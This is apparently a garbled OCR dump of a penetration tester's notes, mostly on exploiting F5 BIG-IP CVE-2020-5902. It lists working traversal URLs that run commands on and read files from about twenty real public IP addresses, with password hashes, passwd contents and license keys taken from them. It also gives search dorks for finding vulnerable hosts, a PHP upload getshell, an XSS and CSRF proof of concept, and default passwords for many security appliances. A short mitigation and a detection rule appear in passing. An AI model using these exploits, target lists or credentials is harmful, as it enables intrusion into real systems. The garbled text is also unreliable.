https://github.com/TomAPU/poc_and_exp
https://drivertom.blogspot.com/2019/06/pyspider-webuipocexp.html
https://www.cnblogs.com/yuzly/p/13600532.html
https://www.cnblogs.com/panisme/p/12560769.html

&« c A = | 43.247.102.140/tmui/loginjsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

=]
* O

{"errar":"","output™:"auth user admin {\n description \"Admin User\"\n encrypted-password
$6%DzpHBeHL$MxQ8TDWLDzalEdfgbeqpKo294ATXk0OnbnkvaNwGXIOZYRTQIgleNzYB1gMVIIlIWhNwQ7iU3YQmAB8qI710zsF\/A\n partition Common\n partition-access {\n all-

partitions {\n role admin\n J\n \n shell none\nj\n"}

ey e

< C A F==

43.247.102.142/tmui/login jsp/.../tmui/locallb/workspace/tmshCmd jsp?command=list+auth+user+admin

|
* ©

{"error":"","output":"auth user admin {\n description \"Admin User\"\n encrypted-password
$6%5DzpHBeHL$MxQ8TDWLDzalEdfgbeqpKo294A7XkOnbnkvaNwGXIOZYRTQIgleNzYB1gMVIilIWhNwQ7iU9¥YQmAS8qI710zsF\/A\n partition Common\n partition-access {\n all-

partitions {\n role admin\n J\n \n shell none\n}\n"}

[ Send | | Cancel | [ <|v || > Target: https://=Slm momm ) (7)
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render I]SON Beautifier | JSON
1 GET /tmui/login.jisp/..;/tmui/locallb/workspace/tmshCmd.jsp? A 14 A
[cornmand=list+auth+user+adminI HTTP/1.1 r 2 "error": "", r
2 Host: 127.0.0.1 3 "output": "auth user admin {\n description \"Admin User\"\n
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS encrypted-password
rv:52.0) Gecko/20100101 Firefox/52.0 $6$bEhBObYGG3$2zmQ.k2Yw4E3i0AJul jDIXE.LC1SUg6xXdLYNTvgDyl4FIeDsxdn
4 Accept: wAxkxUlpSQ7F60Y3tzKsUAKz.2gRtPLa.dx1\n partition Common\n
text/html,application/xhtml+xml,lapplication/xml;q=0.9,%/*;q=0.8 partition-access {\n all-partitions {\n role
5 Accept-Language: zh-CN,zh;g=0.8,en-US;g=0.5,en;g9=0.3 admin\n \n \n shell tmsh\n}\n"
6 Accept-Encoding: gzip, deflate 4}
7 Connection: close
8 Upgrade-Insecure-Requests: 1
9
10
(= e
v v
@ \ < I| + H > \ Type a search term 0 matches @ \ < H + H > | Type a search term 0 matches
XM ERR:

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/hosts

https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?

fileName=/config/bigip.license https://<IP>/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/config/bigip.conf

https://183.2.157.179/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://36.110.142.2/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fleName=/etc/passwd

https://183.2.157.181/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://58.215.213.226/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://36.110.49.152/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://116.204.216.4/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://116.204.219.3/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

https://43.247.102.141/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd


https://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
https://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

https://218.205.188.31/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://60.247.99.150/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://36.110.49.151//tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://111.198.181.151/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fleName=/etc/passwd
https://220.248.87.92/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://43.247.102.142/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://183.2.157.180/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd
https://43.247.102.140/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

& C A F== .29/tmui/login.jsp/.../tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd w e

"output”:"rootx:0:0:root\/root\/bin\/bash\nbin:x:1:1:bin:\/bin\/sbinv/nologin\ndaemon:x:2:2:daemoni/shin/shiny/nologinnadm:x: 3:4:adm:\/varvyadm:\/sbin\/nologin\nlp:x:4:
Jser\/home\/admin:\/sbin\/noclegin\napache:x:48:48:Apache\/usr\/local\/www:\/sbin\/nologin\nmysgl:x:98:98:MySQL
server\fvar\/lib\/mysql:\/sbin\/nologin\noprofilex:16:16:Special user account to be used by OProfile:\/?\/sbin\/nologin\ngemu:x107:107:gemu
Jser\/\/shinv/nologin\nvesa:x:69:69:virtual console memory owner\/dev:\/sbin\/nologin\nsyscheck:x:199:10:\/:\/sbin\/nologin\nsshd:x:74:74:Privilege-separated
SSH:\/varvyempty\/sshd:/shbiny/nologin\nrpax:32:32:Portmapper RPC user:\/\/sbin\/nologinynntp:x:38:38:\/etc\/ntp:\/shinv/nologinynfs_remoteuserx:499:499:f5 remote user
account:\/home\/f5_remoteuser:\/sbin\/nologin\ntcpdump:x7 2:72:\/:V/sbinV/nologin\ntomcat:x:91:91:Apache
Tom(at:\/usr\/share\,ltom(at:\,n'sbim\/nologin\nnamed:x:Z5:25:Named:\/var\,n'named:\/bin\ﬁalse\nt(rowelI:x:O:SOO:tcroweII:\/home\/t(rowell:\,-fbin\/bash\nsbsavinD:x:O:SOO:sb-;avinnl
server\/varyflocal\/pgsqlv/datai/sbimy/nologin\ndbus:x:81:81:System message
ausA\/sbiny/nologinynrestnoded:x:198:198:\/\/sbin\/nolagin\nacook:x:0:500:acook:\/homeV/acook:\/bin\/bash\ndkretchmer:x:0:500:dkretchmer\/home\/dkretchmer\/bin\/bas
for polkitd:\/:\/sbin\/nologin\nsystemd-network:x:192:192:systemd Network Management:\/:\/sbin\/nologin\nnslcd:x:65:55:LDAP Client User:\/?\/sbin\/nologin\nsystemd-bus-
oroxy:x:974:998:systemd Bus Proxy:\/:\/sbin\/nologin\ntss:x:59:5%9:Account used by the trousers package to sandbox the tesd daemon:\/devi/null:\/sbin\/nologin\n"}

&« C A Fes 29/t flegin sp..imulflocalib/workspace fileRead jspHilehame

{"output™:"#n# THIS IS AN AUTO-GENERATED FILE - DO NOT EDIT!N\n#\n# Use the tmsh shell utility to make changes to the system configuration\n# For mon
see tmsh -a help sys global-settings.\n127.0.0.1 localhost.localdomain localhost bigipOla.mias.fl.frontiernet.netyn127.2.0.1\tsccp aom
AOM\N127.2.0.2\tbigip0la.mias.fl.irontiernet.net\n127.1.1.255\ttmm-bcastin127.1.1.253\ttmm-

shared\n127.1.1.254\ttmm\n127. L1 1\tmmOWn 127 1. LAUmmMIN127. L1 Attmm2yn127. 1. 1. A\ ttmm 3 32.68\tbigip01a.mias.fl. frontiernet.net \n"}

&« c A T== 29/tmui/login.jsp/../tmui/locallb/workspace/fileRead jsp?fileName=/config/bigip.license o e

Key ZVWVV-GYJBN-WVPST-QISHW-ZHUBEQB\n#\nrlt_mysq|l : enable\n#\n# License Tokens for null on Base Key ZVWVV-GYJBN-WVPST-QISHW-ZHUBEQB\n#\nrlt_geoip : 2
enable\n#\n# License Tokens for null on Base Key ZVWWVV-GYJBN-WVPST-QISHW-ZHUBEQB\n#\nrlt_extremesql : enable\n#\n# License Tokens for null on Base Key ZVWVV-
GYJBN-WVPST-QISHW-ZHUBEQB\n#\nrlt_extremedb : enable\n#\n# License Tokens for Module LTM, Base, 50505 key WBDKJFC-XEKJAUS\n#\nperf_http_compression_Mbps

T UNLIMITED\n#\n# License Tokens for Module LTM, Base, 50505 key WBDKJFC-XEKJAUS\n#\nnw_vlan_groups : enabled\nnw_stp : enablec\nnw_port_mirror :
enabled\nltm_transparent : enabled\nltm_snat : enabled\nltm_pool : enabled\nltm_persist_sticky : enabled\nltm_persist_simple : enabled\nltm_monitor_transparent :
enabled\nltm_monitor_tcp_echo : enabled\nltm_monitor_tcp : enabled\nltm_monitor_rule : enablechnltm_monitor_reverse : enabled\nltm_monitor_icmp :
enabled\nltm_monitor_https : enabled\nltm_monitor_http : enabled\nltm_monitor_gateway_icmp : enabled\nltm_monitor_ftp : enabled\nltm_lb_rr : enabled\nltm_Ib_ratio :
enabled\nltm_Ib_priority : enabled\nltm_lb_predictive : enablechnltm_Ib_observed : enablech\nltm_lb_least_conn : enabled\nltm_Ib_fastest : enabled\nltm_Ib :
enabled\nltm_ha_vlan_failsafe : enabled\nltm_ha_state_mirror : enabled\nltm_ha_poocl_min_up : enabled\nltm_ha_failover : enablech\nltm_ha_active_active :
enabled\nltm_gw_last_hop_pool : enabled\nltm_def_gw_poaol : enabled\nltm_conn_rebinding : enabled\nltm_conn_limits : enabled\n#\n# License Tokens for Module Routing
Bundle key KGRLOPO-NYOTQMQ\n#\nnw_routing_rip : enabled\nnw_routing_ospf : enabled\nnw_routing_isis : enabled\nnw_routing_bgp : enabled\nnw_routing_bfd :
enabled\n#\n# License Tokens for Module IPV6 Gateway key WBDKIFC-XEKJAUS\n#\nnw_ipv6 : enabled\n#\n# License Tokens for Module LTM, Base, 50508 key WBDKJFC-
XEKJAUS\n#\nmod_ltm : enabled\n#\n# License Tokens for Madule LTM, Base, 50505 key WBDKJFC-XEKJAUS\n#\nmod_ilx : enabled\n#\n# License Tokens for Module APM,
Limited key WBDKJFC-XEKJAUS\n#\nmod_apml : enabled\n#\n# License Tokens for Module Application Acceleration Manager, Core key WBDKJFC-XEKJAUS\n#\nmod_aml :
enabled\nltm_isession : enabled\naam_bandwidth_control : enabled\n#\n# License Tokens for Module Ram Cache key WBDKJIFC-XEKJAUS\n#\nltm_ram_cache :

enabled\n#\n# License Tokens for Module Rate Shaping key WBDKJFC-XEKJAUS\n#\nltm_bandw_rate_tosque : enabled\nltm_bandw_rate_fairque :
enabled\nltm_bandw_rate_classl7 : enablechnltm_bandw_rate_classl4 : enabled\nltm_bandw_rate_classes : enabled\n#\n# License Tokens for Module APM, Web Application

key WBDKJFC-XEKJAUS\n#\napm_web_applications : enabled\n#\n# License Tokens for Module Remote Desktop key WBDKIFC-XEKJAUS\n#\napm_remote_desktop :
enabled\n#\n# License Tokens for Madule Network Access key WBDKJFC-XEKJAUS\n#\napm_na : enabled\n#\n# License Tokens for Madule Secure Virtual Keyboard key
WBDKIFC-XEKJAUS\n#\napm_ep_svk : enabled\n#\n# License Tokens for Module Protected Workspace key WBDKJFC-XEKJAUS\n#\napm_ep_pws : enabled\n#\n# License
Tokens for Module Machine Certificate Checks key WBDKJFC-XEKJAUS\n#\napm_ep_machinecert : enabled\n#\n# License Tokens for Module Firewall Checks key WBDKJFC-
XEKJAUS\n#\napm_ep_fwcheck : enabled\n#\n# License Tokens for Module Anti-Virus Checks key WBDKJFC-XEKJIAUS\n#\napm_ep_avcheck : enabled\n#\n# Licens g
for Module Base Endpoint Security Checks key WBDKJFC-XEKJAUS\n#\napm_ep : enabled\n#\n# License Tokens for Module App Tunnel key WBDKIJFC-
XEKJAUS\n#\napm_app_tunnel : enabled\n#\n# Licensing Information \n#\nLicensed date : 20151020\nService check date : 20190313\n#\n# Platform Information
\n#\nRegistration Key : ZVWVV-GYJBN-WVPST-QISHW-ZHUBEQB\nLicensed version : 11.5.3\nPlatform ID : C109\nAppliance SN : f5-hwdo-eexe\n#\n# Outbound License
GESIET Valldation\n=\NDOSSIer ©
0leledbb12a6bd09fb251228857cef099604343bde9bc8689da3e2934e658d96c6dc04fcd239e694ca75e84f8bale90c97ebf0046f0706dcb8959d38231f28b40d52b8e004107c133
Outbound License Authorization Signature\n#\nAuthorization :
b277892d4679008fb2fbc5c042838f7c0e8f28c47e7f0d50e78232d718910ef8782fa2ff5432062e95c969316582ed79b482140bd03cb3bh7f823e775d63beba8d06d688aa23c8fb61!
———————————————————————————————————————— \n# Copyright 1996-20189, F5 Networks, Inc.\n# All rights reserved. \n#----- - \n"}
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tmsh

2448 httpd BHHIECE S

edit /sys httpd all-properties



3HRBUT

include ' <LocationMatch ".*\.\.;.*"> Redirect 404 / </LocationMatch> '
4 BRI TR RRTE S

& ESC FHREBA :wq

5T RIFTECE S

save /sys config

6.5/3 httpd RS

restart sys service httpd

7 FEELESNEBIPYS TMUI TRIEIRY5(E)

HRBR:
i BEETEN%26EE RS,
shodan

http.favicon.hash:-335242539
http.favicon.hash:-335242539 "3992"
http.title:"BIG-1P%26reg;- Redirect"

http.title:"BIG-IP&reg;- Redirect"

fofa
title="BIG-IP%26reg;- Redirect"

censys
443.https.get.body_sha256:5d78eb6fa93b995f9a39f90b6b32f016e80dbcda8eb71a17994678692585ee5

443 .https.get.title:"BIG-IP%26reg;- Redirect"

google

inurl:"tmui/login.jsp"

intitle:"BIG-IP" inurl:"tmui"

BRI

https://<target>/tmui/login.jsp

R
/tmui/login.jsp/..;/tmui/system/user/authproperties.jsp
/tmui/login.jsp/..;/tmui/util/getTabSet.jsp?tabld=a

https://github.com/yassineaboukir/CVE-2020-5902

https://github.com/jas502n/CVE-2020-5902

https://github.com/aghmal/CVE-2020-5902-Scanner

https://github.com/nsflabs/CVE-2020-5902

https://github.com/yasserjanah/CVE-2020-5902

https://github.com/JSec1337/RCE-CVE-2020-5902

https://github.com/payloadbox/command-injection-payload-list

suricata CVE-2020-5902 #& IR :

alert http SEXTERNAL_NET any -> any any (msg:"ET EXPLOIT F5 TMUI RCE vulnerability CVE-2020-5902 Attempt";
flow:established,to_server; http.uri; content:"/tmui/login.jsp/..|3b|/"; depth:20; metadata: former_category EXPLOIT; reference:cve,2020-
5902; reference:url,support.f5.com/csp/article/K52145254; classtype:attempted-admin; sid:2030469; rev:3; metadata:affected_product
Web_Server_Applications, attack_target Web_Server, deployment Perimeter, signature_severity Critical, created_at 2020_07_05,
updated_at 2020_07_05;)


https://github.com/yassineaboukir/CVE-2020-5902
https://github.com/jas502n/CVE-2020-5902
https://github.com/aqhmal/CVE-2020-5902-Scanner
https://github.com/nsflabs/CVE-2020-5902
https://github.com/yasserjanah/CVE-2020-5902
https://github.com/JSec1337/RCE-CVE-2020-5902
https://github.com/payloadbox/command-injection-payload-list
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/application/config.php3Z{4h:
[/ RBIFRTE 2
'usercenter’ => true,
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/application/index/User. phpf({fl:

£558-6717:
public function _empty($name)
{
$data = Hook::listen("user_request_empty", $name);
foreach ($data as $index => $datum) {
$this->view->assign($datum);
}
return $this->view->fetch('user/' . $name);
}
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Go Cancel < v > v

Request

Raw | Params | Headers | Hex

Target: hitp:/202.193.60.95 uj w

Response

Raw | Headers | Hex

3

Accept—Encoding: gzip, deflate

Accept—Language: zh—CN, zh;g=0. 9, en; ¢=0. 8, ja; q=0. 7

Cookie: Hm lvt b60316de6009d5654de7312f772162be=1576586862;
PHPSESSID=j12d9c187atlvamcubumfbkrb2; uid=2;
token=f461427c-ac3c-4ae5-ac97-48fa3691fd6c

Connection: close

****** WebKitFormBoundary3eRxgMA jONQGiBLT
Content—Disposition: form—data; name="name"

txx. png

****** WebKitFormBoundary3eRxgMA jONQGiBLT

Content-Disposition: form-data; name="file"; filename="txx. png"
Content—Type: image/png
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[{Iphpl phpinfo ()5 T/phpl ]

****** WebKi tFormBoundary3eRxgMA jONQGiBLT—

1ICR MERE, Bhgetshell

HTTP/1.1 200 OK

Server: nginx/1.15.11

Date: Sun, 20 Sep 2020 06:07:16 GMT
Content—Type: application/json; charset=utf-8
Connection: close

X-Powered-By: PHP/7.3.4

Content—Length: 126

{"code": 1, "msg": "_EE A", "time": "1600582036", "data": {"url": "\/up
loads\/20200920\/1623aah905a3669b383h80881e44107a. png"} |

T
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System Windows NT WIN-IBLAQPH1BD4 10.0 build 18363 (Windows 10) AMD64

Build Date Apr 2 2019 21:50:57

Compiler MSVC15 (Visual C++ 2017)

Architecture %64

Configure Command escript /nologo configure.js "--enable-snapshot-build” "--enable-debug-pack” "--disable-zts" "--with-pdo-
oci=ci\php-snap-buildideps . le\x64\i lient_12_1\sdk shared" "--with-oci8-12c=c:\php-snap-
build\deps_aux\oracle\x64\instantclient_12_1\sdk shared" *--enable-object-out-dir=../abj/" * ble-com-
dotnet=chared” "--without-analyzer" *--with-pgo”

Server API CGl/FastCGI

Virtual Directory Support disabled

Configuration File (php.ini) Path CAWINDOWS

Loaded Configuration File

Di\phpstudy_pro\Extensions\phpiphp7.2.4nts\php.ini

Scan this dir for additional .ini files (none)

Additional .ini files parsed (none)

PHP API 20180731

PHP Extension 20180731

Zend Extension 320180731

Zend Extension Build API320180731 NTS VC15

PHP Extension Build

API20180731, NTS,VC15
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POST /admin.php/category/add?dialog=1 HTTP/1.1

Host: admin.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.9) Gecko/20100101 Firefox/77.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;9=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest

Content-Length: 233

Origin: http://admin.com

Connection: close

Referer: http://admin.com/admin.php/category/add?dialog=1

EExEE EERE G A% & 5E @ Bz @ AEFREHSPb..

Cookie: PHPSESSID=ou6fjfn7171u@2rfm9saqgucad; uid=3; token=f824ac8c-ac7b-4979-a89b-b47dd8e79226

row%5Btype%5D=default&row%5Bpid%5D=0&row%5Bname%5D=%3Cscript%3Ealert(1)%3C%2Fscript%3E&row%5Bnickname%5D=123&row%5Bimage%5D=1&row%5Bkeywords%5D=123&row%5Bde

@ & admin.com/admin.php/category?ref=addtabs B oo Y
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<html>

<!l-- CSRF PoC - generated by Burp Suite Professional -->

<body>

<script>history.pushState('', , '/')</script>

<form action="http://admin.com/admin.php/category/add?dialog=1" method="POST">

<input
<input
<input
<input
<input
<input
<input
<input
<input
<input
<input
</form>
</body>
</html>

type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="hidden"
type="submit"

name="row&#91;type&#93;" value="default" />

name="row&#91;pid&#93;" value="0" />

name="row&#91;name&#93;" value="&1t;script&gt;alert&#40;1&#41;&1t;&#47;script&gt;" />
name="row&#91;nickname&#93;" value="123" />

name="row&#91; image&#93;" value="1" />

name="row&#91; keywords&#93;" value="123" />

name="row&#91;description&#93;" value="123" />

name="row&#91;weigh&#93;" value="0" />

name="row&#91;status&#93;" value="normal" />

name="row&#91;flag&#93;&#91;&#93;" value="" />

value="Submit request" />
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ZMOABRIAsystemlK S system/system

Apache DolphinScheduler: admin/dolphinscheduler

1. S

admin@admin.com

superadmin

admin123

xadmin

system

admin

root

2, BB

$companyName$@2020

$companyName$2020

$companyName$123

admin123

12345678

123456

admin

root

&R Sadministrators, [F79_EEEBEFHMBER RN XMKICHE.
RRIREHEELEHETIF:

Krt{SBh X FAF 44 superman 2513 talent

Ket{SBhXiE FAF 45 :superman 3 talent!23
EEAB R X BB 42 :admin 253 leadsec@7766. administrator, bane@7766
R(EARPIKEE FIFE: admin #f3: admin

BEER BF&: admin Z8: bane@7766 FAF4%: admin Zi3: admin@123
juniper FIF4&:netscreen i3 :netscreen

Cisco FHFP4&:admin Zf3:cisco

Huawei FAF4&:admin Z3:Admin@123

H3C A 4&:admin Zf%:admin

#RERIPS FIF4&: weboper ZH5: weboper

MR XIEGE1 FIF4E: admin ZRY: firewall

RMERVPN: 51111ix0  Zf5:delanrecover

#HVPN: S root BRS: mduadmin

HARHXEE: admin ZEF3:Admin@123
EudemonJuniperf5 k& : netscreen netscreen

& 192.168.0.1 BAARIFAFEFIZEES (admin/admin_default)
LI 192.168.1.1 FUARIETRM S Jhilistone, #37hillstone
ZERYBEHHR X% admin/adminadmin

H {2234, shterm/shterm
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sysauditor/sysauditor
sysmanager/sysmanager
supervisor/supervisor
maintainer/maintainer
webpolicy/webpolicy
sysadmin/sysadmin
conadmin/conadmin
supervis/supervis
webaudit/webaudit
sysadmin/sysadmin
conadmin/nsfocus
weboper/weboper
auditor/auditor
weboper/weboper
nsadmin/nsadmin
admin/nsfocus
admin/admin

shell/shell



